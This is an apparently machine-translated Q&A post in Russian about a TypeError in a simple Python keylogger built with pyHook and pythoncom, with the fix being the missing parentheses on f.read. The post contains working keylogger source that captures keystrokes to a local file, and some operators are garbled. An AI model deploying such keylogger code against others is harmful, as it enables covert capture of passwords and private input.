Как исправить [Ошибка типа: неподдерживаемый тип (ы) операнда для =: ‘builtin_function_or_method’ и ‘str’] ошибка в Python

#python #pyhook #pythoncom

#python #pyhook #pythoncom

Вопрос:

Я программирую простой кейлоггер, который записывает данные в выходной файл, но когда я пытаюсь его запустить, он возвращает мне эту ошибку:

[Ошибка типа: неподдерживаемые типы операндов для =: ‘builtin_function_or_method’ и ‘str’]

Также выходной файл записывается с нечитаемыми символами…

 import win32api
import win32console
import win32gui

import pythoncom, pyHook

win = win32console.GetConsoleWindow()



def OnKeyboardEvent(event):
    keyPressed = chr(int(event.Ascii)   64)
    if event.Ascii==5:
        _exit(1)

    if event.Ascii != 0 or 8:
        f=open('C:/Users/Andrés/Desktop/hello.txt','r')
        buffer=f.read
        f.close()
        f=open('C:/Users/Andrés/Desktop/hello.txt','w')
        keylogs=chr(event.Ascii)
        if event.Ascii==13:
            keylogs='/n'
        buffer  = keylogs
        f.write(buffer)
        f.close()

hm = pyHook.HookManager()
hm.KeyDown=OnKeyboardEvent
hm.HookKeyboard()
pythoncom.PumpMessages()

  

Комментарии:

1. Вы не вызывали f.read , добавьте () !

Ответ №1:

У вас отсутствуют круглые скобки:

 buffer=f.read()
             ^^